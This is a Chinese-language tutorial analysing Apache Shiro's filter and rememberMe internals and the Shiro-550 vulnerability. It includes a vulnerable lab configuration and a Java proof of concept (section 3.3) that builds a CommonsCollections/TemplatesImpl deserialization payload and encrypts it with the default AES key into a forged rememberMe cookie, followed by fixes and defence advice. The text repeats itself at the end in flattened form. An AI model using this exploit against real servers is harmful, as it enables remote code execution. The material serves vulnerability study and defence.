Java 安全 | 从 Shiro 底层源码看 Shiro 漏洞 (下)
字数 2008 2025-08-20 18:17:59

Apache Shiro 安全漏洞分析与教学文档

1. Shiro 核心架构解析

1.1 核心组件关系

  • FilterChainResolver:负责解析请求路径并匹配对应的过滤器链
  • PathMatchingFilterChainResolver:实现类,将FilterChainManager设置进去
  • SpringShiroFilter:核心过滤器,继承OncePerRequestFilter
    • 封装request/response为ShiroHttpServletRequest/ShiroHttpServletResponse
    • 实现HttpServletRequest/HttpServletResponse接口

1.2 认证流程

  1. Subject创建流程

    • WebSubject.Builder构建SubjectContext
    • SubjectContext是一个Map,包含:
      • SecurityManager
      • ShiroServletRequest
      • ShiroServletResponse
      • 当前HTTP请求状态
  2. 认证检查顺序

    • 首先检查SESSION中是否存在用户信息
    • 如果SESSION不存在或无效,则通过RememberMe组件反序列化用户信息
  3. Subject执行

    • WebDelegatingSubject执行SubjectCallable
    • 将Subject与线程绑定
    • 匹配URI与FilterChainManager中的配置

1.3 过滤器链执行

  • 匹配流程

    • 获取当前URI
    • 与FilterChainManager中的URI逐步匹配
    • 匹配成功后调用filterChainManager.proxy()
  • 过滤器示例

    • AnonymousFilter(anon):直接返回true,允许所有访问
    • LogoutFilter(logout):调用subject.logout()清空状态
    • UserFilter:在父类中定义复杂逻辑

2. 环境搭建指南

2.1 SpringMVC环境配置

Maven依赖

<dependencies>
    <!-- 基础依赖 -->
    <dependency>
        <groupId>junit</groupId>
        <artifactId>junit</artifactId>
        <version>4.11</version>
    </dependency>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-webmvc</artifactId>
        <version>5.3.8</version>
    </dependency>
    
    <!-- Shiro相关 -->
    <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-spring</artifactId>
        <version>1.2.3</version>
    </dependency>
    
    <!-- 漏洞利用链 -->
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

web.xml配置

<filter>
    <filter-name>shiroFilter</filter-name>
    <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
    <init-param>
        <param-name>targetFilterLifecycle</param-name>
        <param-value>true</param-value>
    </init-param>
</filter>
<filter-mapping>
    <filter-name>shiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

ApplicationContext.xml配置

<bean id="defaultWebSecurityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
    <property name="rememberMeManager">
        <bean class="org.apache.shiro.web.mgt.CookieRememberMeManager">
            <property name="cookie">
                <bean class="org.apache.shiro.web.servlet.SimpleCookie">
                    <property name="name" value="rememberMe"/>
                    <property name="maxAge" value="60"/>
                </bean>
            </property>
        </bean>
    </property>
    <property name="realm">
        <bean class="com.heihu577.realm.MyRealm"/>
    </property>
</bean>

<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
    <property name="filterChainDefinitionMap">
        <map>
            <entry key="/index" value="user"/>
            <entry key="/login" value="anon"/>
            <entry key="/user/login" value="anon"/>
            <entry key="/**" value="authc"/>
        </map>
    </property>
    <property name="securityManager" ref="defaultWebSecurityManager"/>
</bean>

2.2 自定义Realm示例

public class MyRealm extends AuthorizingRealm {
    @Override
    public String getName() {
        return "myRealm";
    }

    @Override
    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
        return null;
    }

    @Override
    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) {
        UsernamePasswordToken upToken = (UsernamePasswordToken) token;
        String username = upToken.getUsername();
        return new SimpleAuthenticationInfo(username, "heihu577", getName());
    }
}

3. Shiro-550漏洞深度分析

3.1 漏洞条件

  • Shiro版本 < 1.2.4
  • 启用了RememberMe功能
  • 存在可利用的反序列化链(如commons-collections)

3.2 漏洞原理

  1. RememberMe处理流程

    • 获取Cookie中的rememberMe值
    • Base64解码
    • 使用AES解密(密钥硬编码)
    • 反序列化解密后的数据
  2. 关键问题

    • AES加密使用默认密钥kPH+bIxk5D2deZiIxcaaaA==
    • 攻击者可伪造加密数据

3.3 漏洞利用POC

public class MyExp01 {
    public static void main(String[] args) throws Exception {
        AesCipherService aesCipherService = new AesCipherService();
        
        // 构造恶意TemplatesImpl
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        bytecodes.setAccessible(true);
        
        // 设置恶意字节码
        byte[][] myBytes = new byte[1][];
        myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类Base64");
        bytecodes.set(templates, myBytes);
        name.set(templates, "");
        
        // 构造CC链
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        });
        
        HashMap<Object, Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
        
        // 生成最终payload
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "heihu577");
        HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
        hsMap.put(tiedMapEntry, "value");
        
        // 序列化并加密
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hsMap);
        oos.close();
        
        byte[] encrypted = aesCipherService.encrypt(bos.toByteArray(), 
            Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")).getBytes();
        
        String rememberMe = Base64.encodeToString(encrypted);
        System.out.println("rememberMe=" + rememberMe);
    }
}

3.4 漏洞修复方案

  1. 升级Shiro到1.2.4及以上版本
  2. 自定义RememberMe加密密钥:
    CookieRememberMeManager rememberMeManager = new CookieRememberMeManager();
    rememberMeManager.setCipherKey(Base64.decode("自定义密钥"));
    securityManager.setRememberMeManager(rememberMeManager);
    
  3. 禁用RememberMe功能(如不需要)

4. DelegatingFilterProxy机制解析

4.1 核心作用

  • 在Spring MVC环境中桥接传统Filter与Spring Bean
  • 解决Tomcat注册Filter在Spring容器初始化之前的问题

4.2 关键方法

  1. init:

    • 初始化targetFilterLifecycle配置
    • 保存filterConfigtargetBeanName
  2. doFilter:

    • 获取Spring容器中的Filter Bean
    • 根据配置调用目标Filter的init方法
    • 委托调用目标Filter的doFilter方法

4.3 与SpringBoot区别

  • SpringBoot使用FilterRegistrationBean自动注册Filter
  • Spring MVC需要手动配置DelegatingFilterProxy

5. 防御建议

  1. 及时升级:保持Shiro最新版本
  2. 密钥管理
    • 避免使用默认密钥
    • 定期轮换密钥
  3. 反序列化防护
    • 使用SerializationWhitelist
    • 限制反序列化类
  4. 最小权限:Realm实现遵循最小权限原则
  5. 监控审计:记录异常认证尝试

6. 扩展知识

  1. 其他Shiro漏洞

    • Shiro-721(Padding Oracle漏洞)
    • 权限绕过漏洞(CVE-2020-13933)
  2. 安全开发建议

    • 避免在RememberMe中存储敏感信息
    • 自定义Filter时注意安全边界
    • 定期安全审计
  3. 调试技巧

    • 关键断点:
      • AbstractShiroFilter.doFilterInternal
      • DefaultSecurityManager.resolvePrincipals
      • CookieRememberMeManager.getRememberedPrincipals
Apache Shiro 安全漏洞分析与教学文档 1. Shiro 核心架构解析 1.1 核心组件关系 FilterChainResolver :负责解析请求路径并匹配对应的过滤器链 PathMatchingFilterChainResolver :实现类,将FilterChainManager设置进去 SpringShiroFilter :核心过滤器,继承OncePerRequestFilter 封装request/response为ShiroHttpServletRequest/ShiroHttpServletResponse 实现HttpServletRequest/HttpServletResponse接口 1.2 认证流程 Subject创建流程 : WebSubject.Builder 构建SubjectContext SubjectContext是一个Map,包含: SecurityManager ShiroServletRequest ShiroServletResponse 当前HTTP请求状态 认证检查顺序 : 首先检查SESSION中是否存在用户信息 如果SESSION不存在或无效,则通过RememberMe组件反序列化用户信息 Subject执行 : WebDelegatingSubject 执行 SubjectCallable 将Subject与线程绑定 匹配URI与FilterChainManager中的配置 1.3 过滤器链执行 匹配流程 : 获取当前URI 与FilterChainManager中的URI逐步匹配 匹配成功后调用 filterChainManager.proxy() 过滤器示例 : AnonymousFilter (anon):直接返回true,允许所有访问 LogoutFilter (logout):调用 subject.logout() 清空状态 UserFilter :在父类中定义复杂逻辑 2. 环境搭建指南 2.1 SpringMVC环境配置 Maven依赖 : web.xml配置 : ApplicationContext.xml配置 : 2.2 自定义Realm示例 3. Shiro-550漏洞深度分析 3.1 漏洞条件 Shiro版本 < 1.2.4 启用了RememberMe功能 存在可利用的反序列化链(如commons-collections) 3.2 漏洞原理 RememberMe处理流程 : 获取Cookie中的rememberMe值 Base64解码 使用AES解密(密钥硬编码) 反序列化解密后的数据 关键问题 : AES加密使用默认密钥 kPH+bIxk5D2deZiIxcaaaA== 攻击者可伪造加密数据 3.3 漏洞利用POC 3.4 漏洞修复方案 升级Shiro到1.2.4及以上版本 自定义RememberMe加密密钥: 禁用RememberMe功能(如不需要) 4. DelegatingFilterProxy机制解析 4.1 核心作用 在Spring MVC环境中桥接传统Filter与Spring Bean 解决Tomcat注册Filter在Spring容器初始化之前的问题 4.2 关键方法 init : 初始化 targetFilterLifecycle 配置 保存 filterConfig 和 targetBeanName doFilter : 获取Spring容器中的Filter Bean 根据配置调用目标Filter的init方法 委托调用目标Filter的doFilter方法 4.3 与SpringBoot区别 SpringBoot使用 FilterRegistrationBean 自动注册Filter Spring MVC需要手动配置 DelegatingFilterProxy 5. 防御建议 及时升级 :保持Shiro最新版本 密钥管理 : 避免使用默认密钥 定期轮换密钥 反序列化防护 : 使用 SerializationWhitelist 限制反序列化类 最小权限 :Realm实现遵循最小权限原则 监控审计 :记录异常认证尝试 6. 扩展知识 其他Shiro漏洞 : Shiro-721(Padding Oracle漏洞) 权限绕过漏洞(CVE-2020-13933) 安全开发建议 : 避免在RememberMe中存储敏感信息 自定义Filter时注意安全边界 定期安全审计 调试技巧 : 关键断点: AbstractShiroFilter.doFilterInternal DefaultSecurityManager.resolvePrincipals CookieRememberMeManager.getRememberedPrincipals